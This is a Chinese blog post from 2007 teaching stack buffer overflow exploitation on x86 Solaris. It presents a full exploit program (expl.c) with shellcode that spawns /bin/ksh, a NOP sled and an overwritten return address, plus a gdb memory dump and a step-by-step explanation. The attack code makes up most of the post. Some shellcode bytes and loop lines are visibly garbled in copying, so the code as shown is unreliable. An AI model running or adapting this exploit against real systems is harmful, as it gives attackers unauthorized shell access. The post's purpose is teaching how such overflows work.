Chinaunix首页 | 论坛 | 博客
  • 博客访问: 364304
  • 博文数量: 102
  • 博客积分: 2000
  • 博客等级: 大尉
  • 技术积分: 1116
  • 用 户 组: 普通用户
  • 注册时间: 2007-03-29 16:21
文章分类

全部博文(102)

文章存档

2014年(10)

2011年(1)

2008年(2)

2007年(89)

我的朋友

分类: C/C++

2007-09-12 04:33:39

好了,coredump的情况就介绍到此为止。现在假设你是天下英雄中的一位,你将怎样exploit这个漏洞程序vul呢?我们再回顾一下在Intel/X86架构中缓冲区周围的内存分配情况:

|<--buf: 16 Byte-->|<--Calling Function $EBP: 4 Byte-->|<--Called Function RetAddr: 4 Byte -->|

要成功地Exploit这个程序:第一,我们要让buf溢出直到覆盖RetAddr(被调用函数Foo的返回地址);第二,覆盖后RetAddr的值必须指向我们设计的黑客码 。这样, 当被调用函数Foo运行结束准备返回时,它就糊里糊涂地沿着被修改过的RetAddr返回到我们的黑客码中。

下面的expl.c就是实现Exploit的一个例子,它先精心泡制一个长字符串(bufferptr指向),再把这个长字符串作为输入参数来调用程序vulvul在执行中缓冲区buf溢出,覆盖了RetAddr,结果是程序沿着新的RetAddr跳入我们的黑客码执行而产生一个shell


<===========================expl.c============================>

i nclude

#define NOP 0x90
#define NOPNUM 100
#define CRAP 0xbbbbbbb
shellCode[]= /*from */
"\xeb_5cx1a" /* jmp */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),%edi */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"
'5cx83\xef\x3b" /* subl $0x3b,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x07,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x0b" /* movb $0x0b,%al */
"\xe8\xe1\xffPcxff\xff" /* call */
"/bin/ksh";

get_esp()
{
__asm__("mov %esp, %eax");
}

main(int argc, char **argv)
{
char* bufferPtr = NULL;
char* dynPtr = NULL;
/*5 CRAPs = 20 byte, 1 byte terminator */
int bufferSize = NOPNUM + strlen(shellCode) + 1 + 20;


int retAddr = 0;
int adjustment = 0;
int esp = get_esp();

int i;

if(argc >= 2)
{
adjustment = atoi(argv[1]);
}

retAddr = esp + adjustment;

bufferPtr = (char *) malloc(bufferSize);
dynPtr = bufferPtr;

*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *) retAddr;
dynPtr += 4;

for(i=0; i
{
*dynPtr++ = NOP;
}

for(i=0; i
{
*dynPtr++ = shellCode;
}
*dynPtr = 0;

printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);

execl("./vul", "vul", bufferPtr, NULL);
}

<=============================================================>

让我们用gdb来仔细研究一下这个精心泡制的长字符串。先以debug模式编译expl.c

shanghai =>gcc expl.c -o expl -g

再用gdbDebug

shanghai =>gdb expl
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.8"...
(gdb) b main
Breakpoint 1 at 0x8050996: file expl.c, line 35.
(gdb) b 79
Breakpoint 2 at 0x8050aca: file expl.c, line 79.
/*
我们在源程序expl.c的第79行,也就是printf函数处设置一个中断点。因为当程序运行到这里时,我们的长字符串已经炮制完毕。

开始执行:
*/
(gdb) r
Starting program: /export/home/moda/buf_of/expl

Breakpoint 1, main (argc=1, argv=0x8047c00) at expl.c:35
35 char* bufferPtr = NULL;
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0x8047c00) at expl.c:79
79 printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);
/*
现在程序暂时中断在第79行。我们来看看刚刚作好的长字符串:
*/
(gdb) x/20x bufferPtr
0x8060d88: 0x0bbbbbbb 0x0bbbbbbb 0x0bbbbbbb 0x0bbbbbbb
0x8060d98: 0x0bbbbbbb 0x08047ba8 0x90909090 0x90909090
0x8060da8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060db8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060dc8: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
0x8060dd8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060de8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060df8: 0x90909090 0x90909090 0x90909090 0xd2331aeb
0x8060e08: 0x14788d58 0x92ab5057 0x084288ab 0xb03bef83
0x8060e18: 0xb047ab9a 0x0bb0ab07 0xffffe1e8 0x69622fff
(gdb)
0x8060e28: 0x736b2f6e 0x00000068 0x00001f40 0x00000000
0x8060e38: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e48: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e58: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e68: 0x00000000 0x00000000 0x00000000 0x00000000
(以下程序执行省略。。。)


1.
这个字符串从0x8060d88开始到0x8060e2c结束,有165个字节。它作为漏洞程序vul的输入参数,将要溢出165-16=149个字节。
2.
最前面20个字节的0xbb将用于覆盖缓冲区buf16个字节和main$EBP4个字节。
3.
紧接着200xbb0x08047ba8将要覆盖Foo的返回地址RetAddr。这个0x08047ba8是由函数get_esp()expl进程中取得的堆栈栈顶ESP值。由于expl的运行环境与vul类似,所以我们可以用这个ESP值大致推出vul进程的堆栈位置,虽然这只是个宏观调控的手段而已,但是"虽不中,亦不远矣";我们只需要对这个新的返回地址再作些微观调控,就可以让它准确地指向跟在后面的一大堆0x90中。微观调控的手段即为expl的输入参数adjustment
4.
对于Intel/X86的处理器来说,0x90就是NOPNOP,就是NO OPERATION的意思。大多数情况下它就象很多机关单位的干部一样,占着一个位置却不作什么事。我们这个长字符串共有干部100个,不过这里我要他们做点事,织一个安全网----就是有人跳楼的时候,消防队员在楼下张开接人的那种网。网越大越容易接住人,所以我这里安排了多达100号机关干部做这个大网等着。刚才说了,我们会让修改后的RetAddr指向这个安全网,所以当Foo结束运行返回时,程序沿着修改后的RetAddr跳到网中来了。
5.
紧跟在干部x90后面的是黑客码,这段黑客码一旦执行起来,就会产生一个ksh shell
6.
在黑客码后面的0x00结束整个长字符串。
7.
差点忘了!这段黑客码是从下载的,我们后面还要用到这个网站上的黑客码。他们的码短小精悍,比我自己写的好多了!
阅读(687) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~